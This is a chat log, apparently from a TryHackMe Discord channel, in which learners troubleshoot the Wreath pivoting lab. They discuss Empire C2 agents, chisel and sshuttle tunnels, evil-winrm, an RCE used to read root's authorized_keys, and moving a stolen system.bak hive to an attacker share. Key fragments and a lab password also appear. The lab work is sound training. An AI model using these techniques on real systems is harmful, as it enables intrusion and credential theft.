oi vey: https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65

b64 C&P is best way. Bonus points for no copy, and just memorizing and typing out.

[dry pendant]

Butterflies is still better 😉

[dry pendant]

I'm having some trouble on task 29. I've created two listeners: http with the host set to my attacker machine, http-hop with the IP set to the .200 machine. Different ports. I've opened the port for the http-hop on the firewall of the .200 machine. I copied the /hop folder to the .200 machine and started the php server to host it. I created the multi-launcher stager (powershell language) and copied the payload. I've then sent that payload to the .150 machine (both unencoded and base64 encoded), but I get a connection timeout error. Not sure what I did wrong/what step I skipped.

[merry robin]

Sounds like your sshuttle might be down?

[dry pendant]

checking

yeah, I think it was down. Started it again, seems to be taking a little bit to reconnect though (testing to see if I can hit the .150 in browser) or send the powershell payload

[merry robin]

Just check the network is still up

[dry pendant]

yeah, mine says 1h41m left

i'm still ssh'd into .200 and the php server is running, ss-tulwn shows my port is listening

[merry robin]

Odd

[dry pendant]

yeah

I'm double checking my sshuttle command, but it looks okay. No agent coming back to starkiller though. Still waiting

oh, odd. I fg'd that process and I get a traceback

restarted it, web server hits instantly. gonna re-try the payload

payload was sent, but no agent is coming up in starkiller. Should that be immediate, or does that take a while?

I wonder if I am doing something wrong with the payload. If I send it unencoded, I get a powershell help back. If I send it base64 encoded, I get nothing back (empty string). This is through a web-shell.py I made as a bonus task a while back. The payload I'm sending is for the multi/launcher http-hop stager

would the path to the hop files on the .200 machine have anything to do with it? My dir structure is a little different than the examples

[merry robin]

As long as the subdirectories are right, it should be Okay

[dry pendant]

my files are in /tmp/emptybuffer/hop/*

[merry robin]

Try it with cURL directly?

As long as hop contains the directory structure that Empire/Starkiller created, and you're serving from that directory, it should be fine

[dry pendant]

cURL directly on what? Sending the b64 encoded payload to the .150 machine?

haven't tried that yet, will see what that does

okay, a new agent has appeared \o/

wonder why that was failing on my web-shell.py. It just does a request.post(url, data={'a' : command})

Maybe it gets truncated due to length?

[merry robin]

No idea, but I've seen that before ¯_(ツ)_/¯

[dry pendant]

iiiiintersting. Now I'm curious then. To google I go

initial searches looks like POST requests have no restriction on data length

not seeing anything useful so far. At some point I might pass it through wireshark and see if the post request is getting truncated or mangled by the python post.

[dry pendant]

if an agent is showing as red in starkiller, does that mean it can't connect? I'm not seeing errors elsewhere, but trying to execute the sherlock command is failing

[simple trail]

yes. i guess you're using the agent from evil-winrm. that's caused the problem

[dry pendant]

no, I got this agent by a curl post from the .200 machine to the .150 machine with the encoded powershell payload

but the agent seems to be stale, no matter what I've tried. I can create a new agent, but can't do anything with it

[simple trail]

nvm, download just slow. got successful now

[dry pendant]

even just trying to do a whoam through the agent status window doesn't seem to return anything. hm

[simple trail]

weird tho. you probably already open up the port in the firewall for the hop-listener

[dry pendant]

yeah, on the .200 machine, the hop listener port is open

[simple trail]

maybe just try update the Empire of kali

Note: Some versions of Empire don't do well at executing modules through agents received via Hop Listeners

[dry pendant]

it was updated as of a couple hours ago when I first downloaded it

even just trying to send a kill signal to the stale agent isn't working

[dry pendant]

I also tried opening the other port on the .200 machine (for the http listener to the attacking machine), but that doesn't seem to have any effect. Still can't communicate with the agents.

[dry pendant]

Yeah, I'm out of ideas. I'll see if I can figure it out tomorrow

[rose hawk]

I got the same problem like you @dry pendant, the agent will died immediately and becomes red color and I cannot kill it too. The problem maybe come from that the newest version of Empire have some problems, you can try to downgrade it

[dry pendant]

Yeah, I haven't done that yet, might try today. But even more basic than executing modules, I couldn't even do a basic command through them- whoami, dir, etc. It's like the agent gets created but then never communicates back again. Or, the commands aren't able to get sent to the agent. Not sure.

[fossil mango]

https://tenor.com/view/fortnite-gaming-dance-yes-gif-16424148

[ember solstice]

Hey muir can i post the wreath video in #thm-community-media ? Since you said there should be a report but i only have the video 🙂

[merry robin]

@ember solstice aye, go for it

[dry pendant]

Muiri, any guesses why my empire/starkiller agents always go stale? Did I skip something?

[ember solstice]

@merry robin Hehe thanks

[merry robin]

@dry pendant sounds like the bug in Empire just now

There is a fix, but it's not in the main repo yet

[dry pendant]

ah, okay. SO either downgrade or find/pull the branch with the patch?

[merry robin]

Downgrade might work

The branch with the patch is in the beta version of Empire though -- a private repo

[dry pendant]

so I might be better off just waiting a bit? Any rough wild guess as to how quickly that might get merged to prod? Or does empire even come into play after task 30? I didn't read ahead much, but it looked like the focus was on other tools

[merry robin]

I'm not sure, to be honest. Soon, hopefully.
That said, you don't need Empire after that section. It's technically a standalone section

[dry pendant]

okay. I'll move forward then and then try to come back to the empire stuff

my first pass through the network is just kinda following directions/stumbling blindly. I want to come back and practice all the other pivoting methods until it becomes more second nature, but that'll be for another time

[merry robin]

Sounds like a plan 🙂

[dry pendant]

reeallly loving this room, btw. Can't thank you enough for the time/effort that went into this

Learning a ton

[blazing rock]

Muiri did an amazing job with Wreath.

[dry pendant]

Yep. The writeups do a good job of explaining the what/how, and introducing a lot of new topics. My todo/to-read/to-research list has grown immensely

[river elk]

Anybody having trouble connecting to the Administrator account with evil-winrm?

[hexed ridge]

Just started the wreath network today

[merry robin]

Enjoy!

[dry pendant]

My one complaint with wreath is that it made me drop below my 1:1 ratio of rooms:days-as-member :(. Gonna hafta work extra hard to fix that after I finish wreath

[waxen crest]

Guys I have a problem when I do sudo ./empire

Can anyone help

[hexed field]

try to install it: pip install flask_socketio

[fervent obsidian]

If the pip install doesn't work then I recommend running it through kali apt install or poetry.

[fervent obsidian]

Which version?

[open nebula]

hey guys are there are any pre requisities for wreath network in terms of skill?Or can anyone start it?

[sly spear]

Being familiar with Linux and common hacking terminology helps!

[mighty elk]

Check the empire room if you want to play more with empire 👍

[waxen oyster]

hey, i am solving wreath and this " error module request not found " is poping up again and again

[timber root]

VPN connected, reconnected, disconnected and connected again. No route to host.

[simple trail]

refresh the room. check is the server really running? or down

[timber root]

It was still up, now time is finally over and I'm restarting it, thanks

[simple trail]

i'm guessing you're having the wrong shibang line

mixed python2 and python3

[waxen oyster]

thanks actually it was python payload issue solved now

[waxen oyster]

yeah this one

[surreal sail]

can't download ||website.git|| with ||evil-winrm|| always get Error: Download failed. Check filenames or paths

I ended up making a zip file of that folder and downloaded that zip file

I think ||evil-winrm|| has problems downloading folders

[strange bison]

It worked when I did it, it was a pain but it worked

[digital tendon]

yeah it worked for me too, what was your evil-win rm command?

it took a while to copy across for me I remember

[sly spear]

Worked for too. Can you share a screenshot?

[chrome brook]

All of my empire agents on git-serv are going stale, anybody having the same issues?

[pallid vapor]

yep, empire has some fixes due that are not public yet.

[acoustic mango]

Anybody having issue to connect? My connection ended and i can't reconnect to the host

[dry pendant]

make sure the network didn't go to sleep

[pallid vapor]

or restart vpn

[acoustic mango]

strange, i can connect to the website but i can't do a scan or run the webmin exploit

[dry pendant]

is your sshuttle connection up? I'm assuming you're talking about the website on .150?

I'm having problems making the chisel forward proxy. I've added 127.0.0.1 1337 to my /etc/proxychains4.conf and I'm starting chisel with "chisel client x.x.x.150:PORT_IN_WIN_FIREWALL 1337:socks, but I get an error back that the client cannot listen on 127.0.0.1:1337=>socks. Do I need to run it using proxychains?

did I perhaps not configure the proxychains4.conf correctly? I've tried with both strict and dynamic chain commented/uncommented

[acoustic mango]

Actually i was starting with the .150. But the network went to sleep. After restarted i can't execute the webmin exploit, neither connect with sshuttle (i was connected before, but the same command didn't run again)

webmin exploit to .200 host

[dry pendant]

I think for most things between (roughly) steps 20-30, you'll need that sshuttle tunnel to the .150 machine running

[dry pendant]

Running this using proxychains gives me the same error

the server is already started/listening on the .150 machine (in an evil-winrm shell). I opened the port in the .150 firewall that I'm attempting to connect to

I've found the line of code in chisel that prints that error, but I'm not sure what's causing it. :/

[dry pendant]

I'm seeing some guides talk about doing a double tunnel with chisel- is that necessary in this case? Or is that over-complicating things?

okay, nevermind, looks like those errors was because my local port was in use. Switched to another port, chisel client on attacking machine seems to be running, but I didn't see a connect message on the .150 chisel server. Currently trying to figure out the foxyproxy config for this

Hm. So I think I have the foxyproxy config correct: ||socks5 type, address of 127.0.0.1 and port is 1338 (same as in my prxychains4.conf)||. But when I try to connect to any of .150, .100, or 127.0.0.1, at either ports 1338 or the port opened on the .150 machine, nothing works. With the exception of a "not found" blank page on .150:<open port>. Is that correct, or am I doing something stupid again?

normally I'd be thinking of doing a gobuster enumeration, but the writeup seems to indicate that I should be seeing a web page at this point

[acoustic mango]

Only with sshuttle the page in .150 is already accessible

[dry pendant]

@acoustic mango Not sure I understand

[acoustic mango]

if you setup correctly the sshuttle in your machine the page from the .150 will be accessible in your browser

The video of task 18 show this situation

[dry pendant]

yeah, I'm past that point, eldruin. I'm on task 33, trying to connect to the next machine

[acoustic mango]

Oh, sorry 🤦

[dry pendant]

no problem 🙂

I readily admit I probably did something stupid or overlooked something obvious. It's most likely a PEBCAK error :).

.100:80 seems to be loading.... It was a PEBCAK error. That was about the only ip/port combo I hadn't tried.

[vocal quail]

Hi @merry robin , did those VPN events turn out to actually be a replay attack? I'm just curious if that was the case or something more innocuous.

[dry pendant]

In looking back through my logs, I actually have a few of those yesterday evening

on a different subnet than you

Apr 05 at roughly 00:23-00:36 GMT

[lilac jasper]

even after creating user on remote desktop i am not getting excess

[tardy bloom]

Hey, when's the exact deadline for report submissions for Wreath?

[merry robin]

@tardy bloom it's being extended to the 17th because there aren't enough takers yet 👀
You have time

[calm wedge]

👀

Whats this invite / server for?

[merry robin]

@vocal quail it's looking like a regular OpenVPN error for the setup that's in use for the networks, although it's definitely a weird one. There wasn't any indication that it was caused by any malicious activity certainly.

@calm wedge what does it look like?

[calm wedge]

¯_(ツ)_/¯

thought it was a bit random so was just interested....

[tardy bloom]

noice!

32 pages atm

[merry robin]

It's a link to the BC Sec discord -- the Empire developers.

[calm wedge]

ahh

[slim ember]

so i cant connect with chisel client... i add firewall rule at port 20000 and tried other ports too but no luck.. any idea what i am doing wrong here? tnx

[civic barn]

Have you set up the sshuttle as a relay to the first machine?

[slim ember]

yes

[calm wedge]

?

somebody ghost pinged me?

[strange bison]

Not in the last hour

[calm wedge]

weird ok

[civic barn]

Try to look in the /etc/proxychains.conf if there is a proxy on the port 9090

[slim ember]

ouu do i need it to change it to 9090 right ?😆

[civic barn]

yeah, and then change the foxyproxy port also to that one you choose

[slim ember]

now i get it tnx😀

[slim ember]

ahh no luck.. still doesent work..

its firefox good for proxy or i need to do it on chrome to make this work?

[strange bison]

You have it set to http

You started a socks5 proxy with chisel?

[slim ember]

ohh yes i changed it to sock5 now, but still cant connect to it

[strange bison]

Did you open the port on Windows?

There's a command for the firewall for windows

[slim ember]

u mean this?

[strange bison]

Wait, hang on

You can't talk to 150 can you?

Not without a pivot via 100?

[slim ember]

i am not sure what u mean by that😆

a am on 150 now and trying to get on 100 ?

[digital tendon]

what command are you using locally to connect to your chisel server on git-serv

and is the connection accepted?

oh I'm looking up now give me a sec

I have a note about a step adding a firewall rule for that port on the prod-serv but I can't recall if that was needed

otherwise everything else looks like what I did

[slim ember]

i dont know where is the problem.. maybe reseting will help 😩

[tardy bloom]

isn't 10.200.72.0 @merry robin 's dev network?

[strange bison]

72 yea

[slim ember]

Oh man you saved me 😅 instead of 118 I gave 72 ... I don't know how this happend 🤦‍♂️

[tardy bloom]

copy paste from the task descriptions? 😜

[slim ember]

That will be it

[digital tendon]

hah! I've actually seen instances of people getting onto that somehow so I figured you were just doing it on that network

[open nebula]

i cant connect to the box uproduction server using ssh key

[digital tendon]

sounds like it has s problem with ur id_rsa file

usually its errors in the file like leading spaces or similar, or its the permissions of the file

[open nebula]

but I already changed the permissions to 600

[digital tendon]

then it's likely not that error

[open nebula]

do I need to download both public and private keys?

[digital tendon]

can you cat the id_rsa file and paste it here so I can compare with mine?

paste the screenshot, not the text

spoiler tag it too maybe

[open nebula]

yes sure

the key is too lengthy.It wont come completely in one screenshot

would 2 screenshots be fine?

[digital tendon]

yeah I guess

thats fine

[open nebula]

okk

[digital tendon]

ok that looks fine to me

can you chmod +600 id_rsa again and test that seems strange

[open nebula]

did

Do have to login wiht twreath user

[digital tendon]

nop

i'd rename that key and try make it again from scratch maybe

sometimes they are a bit funny for me but I haven't had any problems lately

[open nebula]

i downlaoded the key again but still

I l ty renaming it

why is it telling me invalid format

[strange bison]

Doesn't really matter, someone probably removed the key on the box

[open nebula]

so I have to reset I guess

I logged in to box using the exploit but it still shows that the key is there

[strange bison]

Check if the right key is authorised

[merry robin]

@open nebula use the CVE RCE to cat /root/.ssh/authorized_keys please

[open nebula]

how?

[lyric bane]

@merry robin Am I able to update my report on google drive if there is something I would like to change? Or no editing once its submitted.

[merry robin]

@lyric bane yeah, just send a new link if it changes.

I'll always look at the last one submitted by each person and reject the others anyway

[lyric bane]

Thanks, I updated it and the original link should work.

[fleet badge]

Is there better way to move the system.bak to my local system than using impacket?
I always get "An unexpected network error occurred
0 file(s) moved"

[sly spear]

Can you show a screenshot?

[fleet badge]

i cannot upload a png here it seems. Anyway I am just using the command move system.bak \ATTACKING_IP\share\system.bak

[strange bison]

!docs verify

[thin crescent]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[strange bison]

Follow those steps

[fleet badge]

thanks

the impacket server

[fossil mango]

Oh boy, someone messed up the network lol

[unkempt halo]

I installed starkiller, all is working fine in cli but in browser i get only white blank page

Anyone welp?

[strange bison]

In... browser?

[unkempt halo]

Yes

[strange bison]

What's the browser got to do with it?

Don't you start the appimage and connect it to empire?

[unkempt halo]

how to do that?

[strange bison]

It's just like a binary

[strange bison]

Task and question number?

[unkempt halo]

Task 23

Command and Control Empire: Installation

[strange bison]

Notice how this is not a browser

You need to start starkiller.

Then enter the credentials in starkiller.

[unkempt halo]

ook but what's that for?

[strange bison]

Like I said, enter the credentials in starkiller

[unkempt halo]

k

ya logged in

thenks

[pallid vapor]

sooooo i am doing wreath again and the id_rsa key on .200 doesn't work, subnet: 96
it doesnt even work to log in to localhost from 10.200.96.200 so its obviously something wrong

i might be doing something wrong haha

[surreal sail]

Hey

https://i.imgur.com/MrM3644.png

How to do this mind map please

[strange bison]

??

[surreal sail]

we can draw this in an application to draw the infrastructure of the network ?

[strange bison]

If you want

[surreal sail]

without cobalt strike ?

[strange bison]

That graph is powered by tryhackme, if that's what you mean

You can draw a graph on your own if you want.

You can mark it however you want

[surreal sail]

Yess i know but I want to an application to do that with the beautiful colors and more... same that the THM's graph

[strange bison]

So get cobalt strike or make one?

[surreal sail]

Not C2 just an app to make graph like that

[strange bison]

Ok

So make a graph like that.

THM does it with HTML5 I'm sure.

[surreal sail]

Okey thanks you

@strange bison it can be cool if I do graphs with GNS3 no ?

but it's not beautiful

[lyric bane]

Do some googling for images to edit and if your on window use paint to create your own graph representation of the network.

[heady pebble]

i have 1 error connecting to host 10.200.96.200

no root to host

route

[sand phoenix]

are you connected to the vpn?

if so i would recommend regenerate your .ovpn

[strange bison]

You won't be able to talk to .200 unless you have a pivot, right?

[heady pebble]

i was doing the exploit to the git-serv 5 min ago

then the connection stopped

[dry pendant]

network went to sleep?

[heady pebble]

i have restarted and than tgry to ssh to prod-serv

i always get ssh: connect to host 10.200.96.200 port 22: No route to host

[dry pendant]

sounds to me like either the network went to sleep, or perhaps somebody broke the .200 machine somehow- changed firewall rules, killed a service, something like that

if you're sure the network is still running, maybe try another nmap scan on the .200 machine? See if the results are different than your previous scan?

[heady pebble]

i try tnx

[leaden oyster]

What does it mean?

After 6 days we can't use it?

[merry robin]

#wreath-network message

Please read the pins 🙂

[leaden oyster]

Yeah i just read the first 3 4 modules

My mistake 😅

I panicked that it's going away lolz

[dry pendant]

https://memegenerator.net/img/instances/60945043/must-go-faster-must-go-faster.jpg

Muiri- there's a sentence in task 36 that reads a bit weird. "for all we know, it will pick up any kind of PHP default PHP webshell that we upload..."

[merry robin]

Oops

Fixed

[dry pendant]

It's okay, you're allowed to make mistakes. But that's your allotment for the month! 😉

[merry robin]

I blame my testers for not picking up on it /s

[strange bison]

I blame muir for changing it after we tested it and you can't prove otherwise

[dry pendant]

Yes, clearly this room was not very well tested before being released into the wild </sarcasm> 😉

[dry pendant]

Muiri, have you considered writing a book(s)? or creating a class?

[dry pendant]

Is there any way we can see what the defender/AV alert would look like for the bonus item in task 40?

Hm. I think the webserver on my .100 machine has died. I think I might have killed it

I can load the .100:80 page, but it's verrrrry slow (takes several minutes to load, it seems). But I can't load the /resources page anymore. And I can't execute my nc.exe (I accidentally killed my reverse shell with ctrl-c, but now I can't get it back)

I'll try to poke it again tomorrow. Maybe the network needs rest

[main timber]

nvm silly mistake

[lilac jasper]

Can someone explain me why I am getting enable to locate starkiller ?

means we can download it using sudo apt install

[heady pebble]

need some help ssh -i id_rsa root@10.200.96.200

root@10.200.96.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

[digital tendon]

does it have anything else

like 'invalid format' or 'incorret permissions'

[heady pebble]

no

it works perfectly until yesterday

[digital tendon]

oh

can you check authorised keys on the host again using the exploit

and see if yours matches?

maybe it changed

it shouldn't tho

might need Muiri if you are connected to the VPN etc correctly

[heady pebble]

ok i reexploit and redownload the ssh

[fossil mango]

So its solution for me was to re download (copy the contents of) the id_rsa file

If you will look in github it will suggest to edit gssapi files which might work, however i dont think it will be required in the network.

[civic barn]

Just finished the room, learned a ton of new things, thanks you all, big kudos to Muiri 😁

[heady pebble]

i am taking notes and screeshot evry step, now i have an account on git-serv 🙂

[digital tendon]

is it "ThreepwoodMightyPirate!"

[heady pebble]

😉

[digital tendon]

I love Monkey Island games, so great

[heady pebble]

when i was young i had a lot of fun eith lucas art games

[digital tendon]

me too 🙂

[sand phoenix]

Is it possible that empire still does not work as it should with that http_hop?

it seems like this time the agent won't even reach out to your attacking machine

[lyric bane]

The deadline has been extended to the 17th?

[sand phoenix]

Which deadline?

[lyric bane]

To submit a report of the network.

[merry robin]

The new 8.2 release should have it fixed. It not connecting back at all sounds like a firewall problem.

[heady pebble]

so again when the network restart the ssh key become invalid

i try to reexploit but i can't becose port 10000 is not up

[sand phoenix]

Well, ive opened the firewall port, to make sure i created another exception and switched to this other port

[sand phoenix]

but you can reach the host in general right?

[heady pebble]

yes

i can ping and nmap

[sand phoenix]

have you updated the exploit with the new ip?

[heady pebble]

10.200.96.200

[sand phoenix]

im not on the right network, i wouldn't know unfortunatley

[heady pebble]

dunno why ssh key is changing every restart

and Miniderv is down

[sand phoenix]

Actually the SSH Key shouldn't change. Not after a normal Restart, just if you are connected to a different Network

I am using the same key for days now

[heady pebble]

me too until yesterday

if i am connected to a different network ehy i can ping or nmap...

[merry robin]

The key won't change. Make sure it's had a few minutes to restart fully though

[heady pebble]

i cant't see port 10000

i try again later network is 53 min up

stop again in 35 min

[heady pebble]

GbJ7oAQ232an8AAAARcm9vdEB0bS1wcm9kLXNlcnYBAg== <- last row of ssh key now

J6xOGGwBVPxOZrAAAADnJvb3RAcHJvZC1zZXJ2AQIDBA== <- this morning

──(root💀kali)-[/tryhackme/wreath]
└─# ssh -i rsa1 root@10.200.96.200
-bash: /usr/libexec/grepconf.sh: /bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /bin/sh: bad interpreter: No such file or directory
-bash: /usr/libexec/grepconf.sh: /bin/sh: bad interpreter: No such file or directory
[root@prod-serv ~]#

and port 10000 disappared...

[pallid vapor]

something is seriously messed up with your machine

/bin/sh doesnt exist

[dry pendant]

So I've noticed that the first time I run sshuttle ... &, it only works while the process is active. If I ctrl-z to background it, I can't load the .150 web page anymore. But if I kill it and run it again, it seems stable. Is that something I'm doing wrong, or just a quirk of the program, or something else?

Would it be possible to check the web server on the .92.100 machine? It's still misbehaving for me. Takes forever to load the main page, can't seem to load /resources or my shell at all

[livid pendant]

Hey, is someone from Brazil?

[merry robin]

@dry pendant Ctrl + Z stops the process -- it doesn't background it.

[dry pendant]

thought that was ctrl+c

[merry robin]

Ctrl + Z then bg would background

Ctrl + C terminates it

[dry pendant]

ah. well that was half my problem, then

[merry robin]

Think of Ctrl + Z almost like a suspension. It doesn't operate, but it's still there

https://superuser.com/questions/594508/whats-the-difference-between-sigkill-and-sigstop

Ctrl + Z is sigstop, Ctrl + C is sigkill (iirc -- might be sigterm)

[dry pendant]

gotcha. That definitely helps. Totally my fault, then

[merry robin]

Must be sigterm actually

Given it can be caught

[dry pendant]

this other issue I'm having though I think is a broken network. even if I just curl http://10.x.x.100:80/ (or variations on port and slash), I get empty reply (code 52)

[merry robin]

Yeah, not sure on that one. I don't have my kali active to check just now :(

[dry pendant]

gotcha. Anything I can do to check it or restart that service or something, short of voting for a network reset?

I have a chisel server started on the .150 machine through evil-winrm, and a chisel client on my local machine, which reports that it is connected. I opened the firewall port for that yesterday, and was able to get a revshell from .100, but I accidentally killed it with ctrl-c yesterday and haven't been able to get it back since

hm. Running the invoke-portscan command on .150 for the .100 machine reports the system is dead, no ports open or closed

https://i.kym-cdn.com/photos/images/original/000/715/142/f6c.jpg 😢

[merry robin]

Yeah, sounds like a reset there I'm afraid

[dry pendant]

yeah, already voted. 2 votes shy, will vote again when I can

[pallid vapor]

yeah, its sigterm because openvpn reports ctrl-c (sigterm)

haha

[bitter drift]

Hey guys, im on task 17, git server enumeration. I successfully transfer the static nmap binary to the target machine, when I run it however I get this response .syntax error near unexpected token new line
please help lol

[fossil mango]

Huh?

Can u share a ss

@bitter drift

[surreal sail]

I did successfully finished this lab and when did I try to revise again for my notes I have problems executing the 43777.py file it saying line 18 error, did try on the local machine and virtual hack machine as well any suggestion on what is wrong??

[digital tendon]

possibly something on line 18?

[surreal sail]

Yes but it works before

I did follow guidance and works before and now don't

Read some article about a new update pip3 problems

[digital tendon]

hmm I don't think it'd be that

none of the IP's have changed since you originally did it I assume?

can you manually copy the exploit agan and name it something else and edit it and try that?

[surreal sail]

Same ip

I did it

[digital tendon]

I see, not sure then sorry 😦

[surreal sail]

Thanks anyway👍

[dry pendant]

what's the full error?

[dusky ridge]

Sorry boys

I think i just killed it

[strange bison]

There are several networks, if you are saying something specific to the network that you're on you need to specify what the 3rd octet of the IP is

[dusky ridge]

My bad.. I think i just killed the 10.200.92.200 machine

With empire

agent

[heady pebble]

how can i exit from empire background job ? do i have to kill the job ?

done with jobs

kill %number

[hallow eagle]

so is wreath a real test or is it a guidedish tour?

[dusky ridge]

both

[strange bison]

It's walked through

[hallow eagle]

ty 🙂

[strange bison]

If you complete it without the walkthough, you might break something for other users which is quite inconsiderate

[hallow eagle]

might have to reserve some time for it this weekend then

[dusky ridge]

lol, even if you follow the walktrough you may break something 😉

[heady pebble]

yes 🙂

[dusky ridge]

@strange bison Can you check if the 10.200.92.200 machine is up?

[strange bison]

No

[dusky ridge]

ok 🙂

[strange bison]

Because I'm not on that network

[heady pebble]

the second time you connect to the gitserver with hash i need only sshutle and winrm right ?

i don't need to reopen firewall...

[dusky ridge]

Correct

[heady pebble]

tnx

[dusky ridge]

Which IP does your network have?

10.200.x.200

[heady pebble]

yes

[dusky ridge]

Which is in the 3rd?

97?

92

[heady pebble]

96

[dusky ridge]

kj 🙂 Careful with the Empire agent

I just killed the 92 network

[heady pebble]

🙂

i have installed enpire just now

i am reading all before to try...

it's metasploit like i think...

[dusky ridge]

If you copy the launcher.sh

make sure to NOT COPY THE RM -F $0$ thing

[heady pebble]

ok

[dusky ridge]

i speak out of experience xD

[heady pebble]

i know 🙂

[dry pendant]

@dusky ridge what happened? Which task was this on?

[dusky ridge]

Empire launcher.sh

My mistake was copying the rm -f $0$ thing

and executing it

[dry pendant]

which task?

[pallid vapor]

empire has some issues atm

they will release a patch soon

[dusky ridge]

No. 27

[dry pendant]

what issues are you having now?

[dusky ridge]

Offline system

systems

cannot ssh into 200 system etc.

[dry pendant]

well, the web server there is still up

let me see if i can ssh in, hang on

yeah, I'm in to .92.200

[dusky ridge]

wtf

[dry pendant]

were you able to ssh in before? You sure the id_rsa is good?

[dusky ridge]

Yes

Uhm..

can you ping the system?

[dry pendant]

yep, 0% packet loss

[dusky ridge]

nop

100% packet

loss

[dry pendant]

maybe your vpn died?

[dusky ridge]

maybe i got blacklisted?

On the THM website it says connected

[root@prod-serv ~]# Connection to 10.200.92.200 closed by remote host.
Connection to 10.200.92.200 closed.

That happend

after running the wrong thing

This was my sshuttle

c : Connected to server.
Connection to 10.200.92.200 closed by remote host.
c : fatal: ssh connection to server (pid 3932) exited with returncode 255

[dry pendant]

screenshot the exact command you're using